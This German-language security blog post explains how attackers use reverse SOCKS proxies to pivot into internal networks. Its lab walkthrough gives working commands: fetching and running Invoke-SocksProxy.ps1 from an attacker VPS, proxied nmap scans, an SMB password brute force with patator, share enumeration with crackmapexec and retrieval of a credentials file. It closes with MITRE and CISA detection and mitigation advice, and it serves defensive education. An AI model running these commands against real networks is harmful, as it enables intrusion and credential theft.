Der Inside-Out-Sicherheits Blog - Der Inside-Out-Sicherheits Blog

So nutzen APTs Reverse Proxies, um interne Netzwerke mit Nmap auszuspionieren | Varonis

Geschrieben von Tokyoneon | May 25, 2021 4:00:00 AM

Mit Reverse Proxies können Angreifer (APTs) Angriffe in gesicherte Umgebungen schleusen, da sie damit die Beschränkungen von Firewalls für eingehenden Datenverkehr umgehen können. Vor kurzer Zeit hat die Methode es in die Nachrichten geschafft, als das Organisationsnetzwerk einer US-Bundesbehörde Opfer eines solchen Angriffs wurde. Die Angreifer verwendeten eine Variante von Invoke-SocksProxy, einem Open-Source-Reverse-Proxy-Tool, das auf GitHub zu finden ist.

Beschreibung von der Cybersecurity and Infrastructure Security Agency (CISA):

Der Cyber-Bedrohungsakteur etablierte Persistenz und C2 im Opfernetzwerk, indem er einen persistenten SSH-Tunnel/Reverse-SOCKS-Proxy erstellte … Mit einem PowerShell-Skript [Invoke-SocksProxy.ps1] wurde ein Reverse-SMB-SOCKS-Proxy erstellt, der Verbindungen zwischen dem vom Angreifer kontrollierten VPS … und dem Dateiserver des Opfers ermöglichte … Invoke-SocksProxy.ps1 erstellt einen Reverse-Proxy vom lokalen Rechner zur Infrastruktur des Angreifers …

Laden Sie unser Whitepaper zur Sicherheitsanalyse herunter

"Unternehmen versäumen es oft, Hacks rechtzeitig zu erkennen, weil weniger als 20 % der Datendiebstähle intern entdeckt werden. - Gartner"

Was ist ein Reverse Proxy?

Wie vom MITRE ATT&CK Framework definiert:

Angreifer können einen Verbindungs-Proxy verwenden, um den Netzwerkdatenverkehr zwischen Systemen zu leiten oder als Vermittler für die Netzwerkkommunikation zu fungieren … um direkte Verbindungen zu ihrer Infrastruktur zu vermeiden … Angreifer nutzen solche Proxies, um die C2-Kommunikation zu verwalten [oder] die Anzahl der simultanen ausgehenden Netzwerkverbindungen zu reduzieren … Angreifer können mehrere Proxys verketten, um die Quelle des bösartigen Datenverkehrs zusätzlich zu verschleiern …

Einrichten des Angriffs

Die Netzwerktopologie enthält mehrere Geräte, die mit einem internen Netzwerk (172.16.0.1/24) verbunden sind. Der Einfachheit halber nehmen wir an, dass der Angreifer eine Reverse Shell auf Host A (172.16.0.3) mit einem schädlichen Word-Dokument eingerichtet hat (siehe unten). Mit diesem Grad der Kompromittierung kann das Kali-System des Angreifers nicht direkt mit den SMB- und HTTP-Servern interagieren. Das Ziel ist es, Dienste auf 172.16.0.1/24 zu entdecken, während Host A als Proxy verwendet wird.

In diesem Beispiel verbindet sich der kompromittierte Host über einen Netcat-Listener auf TCP/4444 (siehe unten) mit dem Virtual Private Server (VPS) des Angreifers. Die Netcat-Verbindung muss offen bleiben, da sie in einem späteren Schritt benötigt wird.

Öffnen Sie in Kali ein neues Terminal und verbinden Sie sich über SSH mit dem VPS. Erhöhen Sie mit dem su-Befehl auf eine Root-Shell.

Verwenden Sie den folgenden Git-Befehl, um mein Repository Invoke-SocksProxy zu klonen. Das Repository enthält zwei Dateien: ReverseSocksProxyHandler.py und Invoke-SocksProxy.ps1.

root@vps > cd /opt; git clone https://github.com/tokyoneon/Invoke-SocksProxy

Das Skript ReverseSocksProxyHandler.py öffnet die Ports 443 und 1337: Port 443 erhält eingehende Verbindungen von Host A. Port 1337 fungiert als Proxy-Port, konfiguriert mit Proxy-Chains in Kali. Bei der Ausführung gibt das Terminal die folgende Ausgabe und sollte für die Dauer des Angriffs geöffnet bleiben.

root@vps > cd /opt/Invoke-SocksProxy; ./ReverseSocksProxyHandler.py

Das Skript Invoke-SocksProxy.ps1 soll auf dem kompromittierten Host ausgeführt werden. Öffnen Sie in Kali ein neues Terminal und verbinden Sie sich per SSH erneut mit dem VPS. Ändern Sie die hardcodierte VPS-Adresse in Invoke-SocksProxy.ps1 und hosten Sie sie auf einem HTTP-Server (z. B. Apache, Nginx oder http.server).

Wechseln Sie im Netcat-Terminal in das Verzeichnis $env:TEMP unter Host A. Laden Sie anschließend Invoke-SocksProxy.ps1 vom VPS herunter und führen Sie es aus. Es erzeugt keine Ausgabe, muss aber geöffnet bleiben. Ein Angreifer kann geplante Aufgaben verwenden, um die Ausführung in einem echten Szenario zu automatisieren. Wir werden das Terminal für diese Demonstration offenhalten, um zu verstehen, was vor sich geht.

Ps > cd $env:TEMP

Ps > iwr 192.168.56.102/Invoke-SocksProxy.ps1 -outfile isp.ps1

Ps > .\isp.ps1

Installieren Sie in Kali proxychains4 und ändern Sie die Datei /etc/proxychains4.conf. Fügen Sie die VPS-Adresse und den Port 1337 am Ende der Konfigurationsdatei hinzu.

sudo apt-get install -y proxychains4 && sudo nano /etc/proxychains4.conf

Das alles dient der Vorbereitung unseres Angriffs. Mit ReverseSocksProxyHandler und Invoke-SocksProxy, die auf dem VPS und Host A ausgeführt werden, lassen sich nun Angriffe per Proxy in das interne Netzwerk übertragen.

Proxy-Nmap und Crackmapexec mit Proxy-Chains

Es gibt Einschränkungen bei der Verwendung von Nmap mit Proxychains. Nmap schlägt beispielsweise bei der Host-Entdeckung fehl und kann keine Ping-Scans (ICMP) über SOCKS5 durchführen. Dennoch sind Dienst- und Port-Entdeckung noch immer effektiv (obwohl etwas langsam, da sie vollständige TCP-Scans erfordern).

Der folgende Nmap-Scan führt einen TCP-Scan (-sT) durch, wobei Host-Entdeckung (-Pn) und DNS-Auflösung (-n) deaktiviert sind. Die Argumente sind erforderlich, um Nmap mit Proxy-Chains zu verwenden. Beachten Sie den SMB-Server unter 172.16.0.4:445 und den HTTP-Server unter 172.16.0.115:80.

proxychains nmap -sT -Pn -n -p445,139,88,80 172.16.0.4,115

Mit dem folgenden Patator-Befehl können Sie Brute-Force-Angriffe per Proxy durchführen. Proxy-Chain-Meldungen kollidieren mit der Ausgabe von Patator; verwenden Sie -q, um diese zu unterdrücken. Achten Sie auf das Passwort („Passw0rd!“), das während des Angriffs ermittelt wurde.

proxychains -q patator smb_login host=172.16.0.4 port=445 user=victim2 password=FILE0 0=/usr/share/wordlists/nmap.lst -t 1 -x ignore:mesg=’STATUS_LOGON_FAILURE’

Um Freigaben auf dem kompromittierten SMB-Server anzuzeigen, verwenden Sie den folgenden crackmapexec-Befehl mit dem ermittelten Kennwort. Beachten Sie die Freigabe „Private“ mit Lese- und Schreibberechtigungen.

proxychains crackmapexec smb 172.16.0.4 -u ‘victim2’ -p ‘Passw0rd!’ –shares

Verwenden Sie den Befehl smbclient, um auf den Inhalt der Freigabe zuzugreifen und das gewünschte Verzeichnis (“/Private”) anzuzeigen. Achten Sie auf die Datei „credentials.txt“ in der Freigabe. Verwenden Sie den Befehl get mit smbclient, um die Datei abzurufen und sie lokal in Kali zu speichern.

proxychains smbclient //172.16.0.4/Private -U ‘victim2%Passw0rd!’

HTTP-Server sind ebenfalls über ähnliche Proxy-Chains-Befehle zugänglich. Allerdings verfügt Firefox über eingebaute Funktionen, die den Umgang mit Proxys einfacher machen.

Öffnen Sie in Kali Firefox und gehen Sie zu Einstellungen > Netzwerkeinstellungen > Einstellungen. Verwenden Sie einen „SOCKS Host“ mit der IP-Adresse und dem Port des VPS (siehe unten). Klicken Sie auf „OK“, um die Konfiguration zu speichern.

Öffnen Sie dann eine neue Registerkarte und navigieren Sie zu einem beliebigen HTTP-Server im internen Netzwerk (z. B. 172.16.0.115:80).

Wenn Sie die HTTP-Serverprotokolle auf 172.16.0.115 betrachten, scheinen die Anfragen von 172.16.0.3 (Host A) zu stammen – dem kompromittierten Host.

Erkennung und Bekämpfung

Laut Definition des MITRE ATT&CK Frameworks:

Analysieren Sie Netzwerkdaten auf ungewöhnliche oder abnormale Datenflüsse. Das können beispielsweise Clients sein, die deutlich mehr Daten senden, als sie von Servern empfangen, die nicht miteinander kommunizieren sollen und es auch oft nicht tun. Prozesse, die normalerweise keine Netzwerkkommunikation umfassen oder noch nie gesehen wurden, die aber dennoch das Netzwerk nutzen, sind verdächtig. Analysieren Sie Paketinhalte, um Kommunikation zu erkennen, die nicht dem erwarteten Protokollverhalten für den verwendeten Port entspricht.

  • Netzwerkverkehr filtern: Der Verkehr zu bekannten Anonymitätsnetzwerken und C2-Infrastrukturen kann durch die Verwendung von Netzwerkzulassungs- und -sperrlisten blockiert werden. Beachten Sie, dass solche Sperrungen durch andere Techniken wie Domain Fronting umgangen werden können.
  • Network Intrusion Prevention: Systeme zur Erkennung und Prävention von Netzwerkintrusion, die mithilfe von Netzwerksignaturen den Datenverkehr von bestimmter bösartiger Malware identifizieren, können zur Eindämmung von Aktivitäten auf der Netzwerkebene eingesetzt werden. Signaturen gehören oft zu eindeutigen Indikatoren innerhalb von Protokollen und basieren möglicherweise auf dem spezifischen C2-Protokoll, das von einem bestimmten Angreifer oder Tool verwendet wird. Wahrscheinlich unterscheiden sie sich bei verschiedenen Malware-Familien und -Versionen. Es ist davon auszugehen, dass Angreifer die Signaturen ihrer C2-Tools im Laufe der Zeit ändern oder Protokolle so konstruieren, dass die Erkennung durch gängige Verteidigungstools vermieden wird.
  • SSL/TLS-Inspektion: Wenn es möglich ist, den HTTPS-Verkehr zu inspizieren, können die erfassten Daten auf Verbindungen analysiert werden, die möglicherweise auf Domain Fronting hindeuten.

Zusätzlich empfiehlt die CISA Unternehmen, die folgenden Best Practices zu verwenden:

  • Implementierung einer Multi-Faktor-Authentifizierung, insbesondere für privilegierte Konten
  • Verwendung separater administrativer Konten für separate Administrations-Workstations
  • Implementierung des Prinzips der notwendigsten Berechtigung beim Datenzugriff
  • Sicherung von RDP und anderen Fernzugriffslösungen mit Multi-Faktor-Authentifizierung und „Jump Boxes“ für den Zugriff
  • Implementierung und Wartung von Verteidigungstools auf allen Endpoints
  • Durchgehend aktuelle Software-Updates

Folgen Sie mir auf Twitter @tokyoneon_ und auf GitHub , um über meine aktuellen Projekte auf dem Laufenden zu bleiben.